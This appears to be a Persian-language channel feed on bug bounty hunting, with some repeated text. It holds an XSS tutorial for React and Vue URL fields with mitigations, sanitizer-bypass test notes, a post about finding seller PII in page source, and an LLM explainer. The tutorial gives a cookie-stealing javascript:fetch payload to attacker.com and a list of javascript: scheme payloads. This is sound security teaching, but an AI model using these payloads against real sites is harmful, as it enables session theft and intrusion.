این گیت هاب موارد مربوط به اصول اولیه ساخت عامل هوش مصنوعی یا ایجنت رو پوشش داده ، هر درس موضوع مربوط به خودش .
https://github.com/microsoft/ai-agents-for-beginners
https://github.com/microsoft/ai-agents-for-beginners
GitHub
GitHub - microsoft/ai-agents-for-beginners: 18 Lessons to Get Started Building AI Agents
18 Lessons to Get Started Building AI Agents. Contribute to microsoft/ai-agents-for-beginners development by creating an account on GitHub.
توی وبسایت های spa مثل React و Vue به صورت پیش فرض مکانیزم هایی برای جلوگیری از xss وجود داره . نقاطی که از کاربر درخواست لینک یا ادرس وبسایت میشه (مثلا توی پروفایل، بخش لینک ها، یا فیلدهای URL) ممکنه اسیب پذیری xss وجود داشته باشه .
ورودی ها ( همین نقاطی که لینک میگیرن ) معمولا توی تگ <a> با ویژگی href قرار میگیرن و اگه توسعه دهنده/برنامه نویس اعتبارسنجی مناسبی براش قرار نداده باشه مهاجم میتونی بجای ادرس معمولی (
محافظت پیش فرض توی spa ها
توی فریم ورک های مدرن مقادیر نمایش داده شده توی
سناریو های اصلی xss توی spa ها با ورودی url
1. استفاده از
این ویژگی به برنامه نویس ها اجازه میده تا html خام رو توی صفحه قرار بدن ، اگه ورودی کاربر توی این sink ها قرار بگیره مهاجم میتونه از تگ های
مثال توی react :
اگه کاربر به عنوان وبسایت
2.قرار دادن ورودی توی ویژگی href تگ <a>
این مورد بیشتر اتفاق میوفته . وقتی برنامه نویس مقدار ورودی کاربر رو توی href یک لینک قرار میده ممکنه مهاجم از پروتکل javascript: استفاده کنه
مثال توی react:
اگه کاربر مقدار
توی vue :
دلیلش :
مرورگر ها وقتی با javascript: توی href مواجه میشن محتوای بعد از دو نقطه رو به عنوان کد جاوا اسکریپت تفسیر میکنن و اجرا میکنن .
روش جلوگیری :
اعتبارسنجی URL: بررسی بشه که پروتکل
استفاده از کتابخانههای sanitize: مثل
تعیین پروتکل پیشفرض: اگه کاربر پروتکل وارد نکرد،
استفاده از <a> با
مثال باگ :
فرض کنیم یه وبسایت از react استفاده میکنه و توی صفحه پروفایل کاربر قسمت/گزینه/فیلد وبسایت وجود داره ، اگه برنامه نویس از کد زیر استفاده کرده باشه :
مهاجم میتونه توی وبسایت این مورد رو قرار بده :
و وقتی روی لینک کلیک بشه یا خودکار باز بشه کوکی دزدیده میشه/قاچاق میشه/سرقت رفته میشه 🗿👍🏻 .
تست کیس برای این مورد :
کلا دنبال بخش هایی که از کاربر url میگیرن یا کلا url دارن یا توی پارامتر فاز هاتون این مورد رو تست کنید .
۱. پروفایل کاربر
۲.بخش لینک های مفید/راهنما
۳. کامند ها یا قسمت پیام به ادمین
۴.تنظیمات وبسایت
ورودی هایی که میتونید قرار بدید ( پیلود ها ) :
( اسیب پذیری های دیگه ای که میتونید با این ترکیب/chan کنید یا کلا روی این بخش تست کنید :
1. ssrf
2. csrf
3. xsrf
4. و الی اخر .
)
جم بندی :
فیلد های URL توی SPA ها به دلیل قرارگیری توی href یا استفاده نادرست/غلط از
ورودی ها ( همین نقاطی که لینک میگیرن ) معمولا توی تگ <a> با ویژگی href قرار میگیرن و اگه توسعه دهنده/برنامه نویس اعتبارسنجی مناسبی براش قرار نداده باشه مهاجم میتونی بجای ادرس معمولی (
https://example.com ) از یه javascript: به عنوان url استفاده کنه که باعث اجرای کد جاوااسکریپت توی صفحه بشه.محافظت پیش فرض توی spa ها
توی فریم ورک های مدرن مقادیر نمایش داده شده توی
{{ }} ( vue ) و { } ( react ) به صورت خودکار escape میشن ، یعنی کاراکتر های خاص مثل < , > , & به موجودیت های html تبدیل میشن و کد اجرا نمیشه ، اما این مورد ( محافظتشون ) همیشه توی همه جا یکسان نیست .سناریو های اصلی xss توی spa ها با ورودی url
1. استفاده از
dangerouslySetInnerHTML توی ( react ) و v-html توی ( vue ) این ویژگی به برنامه نویس ها اجازه میده تا html خام رو توی صفحه قرار بدن ، اگه ورودی کاربر توی این sink ها قرار بگیره مهاجم میتونه از تگ های
<script> یا event handler ها استفاده کنه/تزریق کنه ( مثل onload ) .مثال توی react :
function UserProfile({ user }) {
return (
<div dangerouslySetInnerHTML={{ __html: user.website }} />
);
}اگه کاربر به عنوان وبسایت
<img src=x onerror=alert(1)> رو ارسال کنه کد اجرا میشه . 2.قرار دادن ورودی توی ویژگی href تگ <a>
این مورد بیشتر اتفاق میوفته . وقتی برنامه نویس مقدار ورودی کاربر رو توی href یک لینک قرار میده ممکنه مهاجم از پروتکل javascript: استفاده کنه
مثال توی react:
<a href={user.website}>وبسایت من</a>اگه کاربر مقدار
javascript:alert('XSS') رو وارد کنه با کلیک روی لینک کد اجرا میشهتوی vue :
<a :href="user.website">وبسایت من</a>
دلیلش :
مرورگر ها وقتی با javascript: توی href مواجه میشن محتوای بعد از دو نقطه رو به عنوان کد جاوا اسکریپت تفسیر میکنن و اجرا میکنن .
روش جلوگیری :
اعتبارسنجی URL: بررسی بشه که پروتکل
http:// یا https:// باشه و پروتکل های خطرناک مثل javascript:، data:، vbscript: رد بشن .استفاده از کتابخانههای sanitize: مثل
DOMPurify برای پاکسازی ورودیهای HTML ( نسخه های قدیمی این کتاب خونه/ابزار هم اسیب پذیرن پس نسخه جدید باید باشه ) .تعیین پروتکل پیشفرض: اگه کاربر پروتکل وارد نکرد،
https:// به اول آدرس اضافه بشه.استفاده از <a> با
rel="noopener noreferrer" و target="_blank" (اینا از XSS جلوگیری نمیکنن، فقط برای امنیت لینک هستن).مثال باگ :
فرض کنیم یه وبسایت از react استفاده میکنه و توی صفحه پروفایل کاربر قسمت/گزینه/فیلد وبسایت وجود داره ، اگه برنامه نویس از کد زیر استفاده کرده باشه :
<a href={profile.website} target="_blank">{profile.website}</a>مهاجم میتونه توی وبسایت این مورد رو قرار بده :
javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)و وقتی روی لینک کلیک بشه یا خودکار باز بشه کوکی دزدیده میشه/قاچاق میشه/سرقت رفته میشه 🗿👍🏻 .
تست کیس برای این مورد :
کلا دنبال بخش هایی که از کاربر url میگیرن یا کلا url دارن یا توی پارامتر فاز هاتون این مورد رو تست کنید .
۱. پروفایل کاربر
۲.بخش لینک های مفید/راهنما
۳. کامند ها یا قسمت پیام به ادمین
۴.تنظیمات وبسایت
ورودی هایی که میتونید قرار بدید ( پیلود ها ) :
javascript:alert(document.domain)
javascript:alert('XSS')
JaVaScRiPt:alert(1)
و هر چیز دیگه ای
( اسیب پذیری های دیگه ای که میتونید با این ترکیب/chan کنید یا کلا روی این بخش تست کنید :
1. ssrf
2. csrf
3. xsrf
4. و الی اخر .
)
جم بندی :
فیلد های URL توی SPA ها به دلیل قرارگیری توی href یا استفاده نادرست/غلط از
dangerouslySetInnerHTML/v-html میتونن موجب به XSS بشن. درک این مورد به شما کمک میکنه تا توی تست ها نقاط ضعف و سریع تر پیدا کنید.سلام دوستان، چطورید؟
این اواخر یه باگ جالب و خیاری زدم، گفتم بیام اینجا هم یه پستی راجعبهش بذارم. 😂
سایت مورد نظرمون از این پلتفرمهایی بود که فروشندهها میتونستن فروشگاه خودشون رو Sign Up کنن و محصولاتشون رو بفروشن.
این سایت با React بالا اومده بود که تو ۹۰ درصد مواقع تو سورس کدش فقط JSهایی هستن که دارن ایمپورت میشن. حالا باگ چی بود؟
وقتی رفتم تو قسمت فروشگاهها، سورس کد رو باز کردم، دیدم زندگینامه فروشنده رو گذاشتن اونجا (کد ملی، شماره شبا، شماره تماس و کلی چیز دیگه) و اینجوری بود که با یه Ctrl+U یه PII زدم.
خلاصه که خالی از لطف نیست هرجا رسیدید یه Ctrl+U بزنید :)
#Morvane
این اواخر یه باگ جالب و خیاری زدم، گفتم بیام اینجا هم یه پستی راجعبهش بذارم. 😂
سایت مورد نظرمون از این پلتفرمهایی بود که فروشندهها میتونستن فروشگاه خودشون رو Sign Up کنن و محصولاتشون رو بفروشن.
این سایت با React بالا اومده بود که تو ۹۰ درصد مواقع تو سورس کدش فقط JSهایی هستن که دارن ایمپورت میشن. حالا باگ چی بود؟
وقتی رفتم تو قسمت فروشگاهها، سورس کد رو باز کردم، دیدم زندگینامه فروشنده رو گذاشتن اونجا (کد ملی، شماره شبا، شماره تماس و کلی چیز دیگه) و اینجوری بود که با یه Ctrl+U یه PII زدم.
خلاصه که خالی از لطف نیست هرجا رسیدید یه Ctrl+U بزنید :)
#Morvane
اگه به اوسینت علاقه مند هستید این سایت https://ctf.osint.industries/challenges چلنج های جالبی میزاره
OSINT CTF Platform
OSINT CTF Platform - OSINT Industries
Train your OSINT skills through realistic, scenario-based capture-the-flag challenges designed to simulate real-world research and digital tracing.
Fake productivity, my home setup sucks, and Meetly : https://aituglo.com/aituweek-90/
Aituglo
Fake productivity, my home setup sucks, and Meetly
No Aituweek last week, I had nothing real to say. This week: why I keep falling into fake productivity, how a power outage took my self-hosted blog down, and where Meetly is at.
webSociety
Fake productivity, my home setup sucks, and Meetly : https://aituglo.com/aituweek-90/
این fake productivity بد ترپه
حواستون بهش باشه
حواستون بهش باشه
اسکیم های دیگه ای که میتونید برای اجرای js استفاده کنید :
ecmascript:alert(1)
vbscript:alert(1)
livescript:alert(1)
مدل زبانی ( LLM ) چیه ؟
یک مدل زبانی بزرگ در واقع نمونه تخصصی از مدل های پایه ای یا همون Foundation Models هست .
ویژگی داده ها: این مدل ها روی حجم عظیمی از داده های بدون برچسب و به روش خود نظارتی اموزش میبینن ، یعنی خود مدل بدون نیاز به راهنمایی انسان ، الگوهای درون داده ها رو کشف میکنه .
مقیاس داده ها: حجم این داده ها اونقدر زیاده که با واحد پتابایت اندازه گیری میشه . برای درک بهتر : ۱ گیگابایت متن حدود ۱۷۸ میلیون کلمه هست و هر ۱ میلیون گیگابایت برابر ۱ پتابایت میشه . برای مثال ، مدل GPT-3 روی ۴۵ ترابایت داده متنی اموزش دیده .
پارامترها چی هستن؟ پارامترها مقادیری در داخل مدل هستن که هوش مصنوعی موقع یادگیری میتونه اونها رو به صورت مستقل تغییر بده تا دقیق تر بشه . هرچی تعداد پارامتر بالاتر باشه ، مدل پیچیده تر و باهوش تر هست ، برای مثال GPT-3 حدود ۱۷۵ میلیارد پارامتر داره .
این مدلها چطور کار میکنن؟
اگه بخوایم خلاصه بگیم ، فرمول ساخت یک LLM از سه تا ضلع تشکیل شده : داده + معماری + اموزش . حالا اینا چطور کنار هم قرار میگیرن؟
معماری ترنسفورمر (Transformer): هسته اصلی شبکه عصبی این مدل ها ، ساختاری به اسم ترنسفورمر هست . این معماری به هوش مصنوعی اجازه میده تا رشته های متنی ( مثل جملات یا خطوط کد ) رو پردازش کنه . ویژگی خفن ترنسفورمر اینه که بافت و مفهوم هر کلمه رو در رابطه با تمام کلمات دیگه موجود در اون جمله درک میکنه ، اینجوری میتونه معنای دقیق و ساختار جمله رو بفهمه .
مراحل اموزش و پیش بینی: در طول فرآیند اموزش ، هدف اصلی مدل اینه که « کلمه بعدی در یک جمله » رو پیش بینی کنه . مدل اولش با حدس های کاملاً تصادفی و اشتباه شروع میکنه ( مثلاً برای جمله « آسمان ... است » اول حدس میزنه « حشره » ) ، اما در هر تکرار ، پارامترهای داخلی خودش رو تنظیم میکنه تا فاصله حدس خودش رو با کلمه واقعی ( یعنی « آبی » ) به حداقل برسونه . مدل اونقدر این کار رو تکرار میکنه تا بتونه جملات کاملاً منطقی بسازه .
تنظیم دقیق یا Fine-Tuning: بعد از اینکه اموزش عمومی مدل تموم شد ، میشه اون رو روی یک مجموعه داده کوچیک تر و تخصصی تر قرار داد تا برای انجام یک کار مشخص ( مثل کارهای پزشکی یا حقوقی ) کاملاً ماهر و به اصطلاح متخصص بشه .
کاربرد های تجاری LLM ها چیه؟
کمپانی ها و کسب و کارها به شکل های مختلفی دارن از این فناوری استفاده میکنن :
خدمات مشتریان: ساخت چت بات های هوشمند که میتونن انواع سوالات مشتری ها رو تحلیل کنن و جواب بدن . این کار باعث میشه وقت نیروهای انسانی برای حل مسائل پیچیده تر آزاد بشه و ... .
تولید محتوا: کمک به نوشتن مقالات ، ایمیل های کاری ، پست های شبکه های اجتماعی و حتی سناریوی ویدئو های یوتیوب .
توسعه نرمافزار: کمک به برنامه نویس ها برای تولید خودکار کدها و بررسی و بازبینی کدهای نوشته شده برای پیدا کردن باگ ها .
تست نفوذ و امنیت: کمک به امنیت کار ها برای نوشتن و بهینه سازی و ... اسکریپت های تست و نفوذ و الی اخر، بررسی خودکار سورس کد ها برای پیدا کردن آسیب پذیری ها و تحلیل سریع لاگ های شبکه برای کشف رفتار های مشکوک و ... .
یک مدل زبانی بزرگ در واقع نمونه تخصصی از مدل های پایه ای یا همون Foundation Models هست .
ویژگی داده ها: این مدل ها روی حجم عظیمی از داده های بدون برچسب و به روش خود نظارتی اموزش میبینن ، یعنی خود مدل بدون نیاز به راهنمایی انسان ، الگوهای درون داده ها رو کشف میکنه .
مقیاس داده ها: حجم این داده ها اونقدر زیاده که با واحد پتابایت اندازه گیری میشه . برای درک بهتر : ۱ گیگابایت متن حدود ۱۷۸ میلیون کلمه هست و هر ۱ میلیون گیگابایت برابر ۱ پتابایت میشه . برای مثال ، مدل GPT-3 روی ۴۵ ترابایت داده متنی اموزش دیده .
پارامترها چی هستن؟ پارامترها مقادیری در داخل مدل هستن که هوش مصنوعی موقع یادگیری میتونه اونها رو به صورت مستقل تغییر بده تا دقیق تر بشه . هرچی تعداد پارامتر بالاتر باشه ، مدل پیچیده تر و باهوش تر هست ، برای مثال GPT-3 حدود ۱۷۵ میلیارد پارامتر داره .
این مدلها چطور کار میکنن؟
اگه بخوایم خلاصه بگیم ، فرمول ساخت یک LLM از سه تا ضلع تشکیل شده : داده + معماری + اموزش . حالا اینا چطور کنار هم قرار میگیرن؟
معماری ترنسفورمر (Transformer): هسته اصلی شبکه عصبی این مدل ها ، ساختاری به اسم ترنسفورمر هست . این معماری به هوش مصنوعی اجازه میده تا رشته های متنی ( مثل جملات یا خطوط کد ) رو پردازش کنه . ویژگی خفن ترنسفورمر اینه که بافت و مفهوم هر کلمه رو در رابطه با تمام کلمات دیگه موجود در اون جمله درک میکنه ، اینجوری میتونه معنای دقیق و ساختار جمله رو بفهمه .
مراحل اموزش و پیش بینی: در طول فرآیند اموزش ، هدف اصلی مدل اینه که « کلمه بعدی در یک جمله » رو پیش بینی کنه . مدل اولش با حدس های کاملاً تصادفی و اشتباه شروع میکنه ( مثلاً برای جمله « آسمان ... است » اول حدس میزنه « حشره » ) ، اما در هر تکرار ، پارامترهای داخلی خودش رو تنظیم میکنه تا فاصله حدس خودش رو با کلمه واقعی ( یعنی « آبی » ) به حداقل برسونه . مدل اونقدر این کار رو تکرار میکنه تا بتونه جملات کاملاً منطقی بسازه .
تنظیم دقیق یا Fine-Tuning: بعد از اینکه اموزش عمومی مدل تموم شد ، میشه اون رو روی یک مجموعه داده کوچیک تر و تخصصی تر قرار داد تا برای انجام یک کار مشخص ( مثل کارهای پزشکی یا حقوقی ) کاملاً ماهر و به اصطلاح متخصص بشه .
کاربرد های تجاری LLM ها چیه؟
کمپانی ها و کسب و کارها به شکل های مختلفی دارن از این فناوری استفاده میکنن :
خدمات مشتریان: ساخت چت بات های هوشمند که میتونن انواع سوالات مشتری ها رو تحلیل کنن و جواب بدن . این کار باعث میشه وقت نیروهای انسانی برای حل مسائل پیچیده تر آزاد بشه و ... .
تولید محتوا: کمک به نوشتن مقالات ، ایمیل های کاری ، پست های شبکه های اجتماعی و حتی سناریوی ویدئو های یوتیوب .
توسعه نرمافزار: کمک به برنامه نویس ها برای تولید خودکار کدها و بررسی و بازبینی کدهای نوشته شده برای پیدا کردن باگ ها .
تست نفوذ و امنیت: کمک به امنیت کار ها برای نوشتن و بهینه سازی و ... اسکریپت های تست و نفوذ و الی اخر، بررسی خودکار سورس کد ها برای پیدا کردن آسیب پذیری ها و تحلیل سریع لاگ های شبکه برای کشف رفتار های مشکوک و ... .
هوش مصنوعی چطور فکر میکنن و یا کار میکنن (توضیح معماری ترنسفورمرها )
http://www.youtube.com/watch?v=LPZh9BOjkQs
http://www.youtube.com/watch?v=LPZh9BOjkQs
YouTube
Large Language Models explained briefly
A light intro to LLMs, chatbots, pretraining, and transformers.
Dig deeper here: https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi
Technical details as a talk: https://youtu.be/KJtZARuO3JY
This was made for an exhibit at the Computer…
Dig deeper here: https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi
Technical details as a talk: https://youtu.be/KJtZARuO3JY
This was made for an exhibit at the Computer…
These are the schemes currently allowed in the
If I use:
it gets sanitized in the response to:
However, using an allowed scheme such as
I also tested:
which is preserved as:
But as soon as I add the colon:
the
I also tested whitespace/control-character variations:
None of them bypassed the checker function.
I additionally tested HTML entity encodings for the colon:
Those did not bypass the checker either.
href attribute:gopher:
ftp:
http:
https:
mailto:
If I use:
<a href="qwe:test;//https%0aqwe@gmail.com">
it gets sanitized in the response to:
<a rel="nofollow ugc">
However, using an allowed scheme such as
gopher: works as expected:<a href="gopher:test;//https%0aqwe@gmail.com" rel="nofollow ugc">
I also tested:
<a href="javascriptalert;//https%0aqwe@gmail.com">
which is preserved as:
<a href="javascriptalert;//https%0aqwe@gmail.com" rel="nofollow ugc">
But as soon as I add the colon:
<a href="javascript:alert;//https%0aqwe@gmail.com">
the
href is removed:<a rel="nofollow ugc">
I also tested whitespace/control-character variations:
java\tscript
java\rscript
java\nscript
None of them bypassed the checker function.
I additionally tested HTML entity encodings for the colon:
<a href="javascript:alert(document.domain)">xss test!</a>
<a href="javascript:alert(document.domain)">xss test!</a>
<a href="javascript:alert(document.domain)">xss test!</a>
Those did not bypass the checker either.
Forwarded from ~
YouTube
Frans Rosen on the AI Age of Bug Bounty (Ep. 195)
Episode 195: In this episode of Critical Thinking - Bug Bounty Podcast we talk to Frans Rosen and get his take on the Bug Bounty Industry and finding enjoyment in hacking during the AI Slopocalypse.
Follow us on twitter at: https://x.com/ctbbpodcast
Got…
Follow us on twitter at: https://x.com/ctbbpodcast
Got…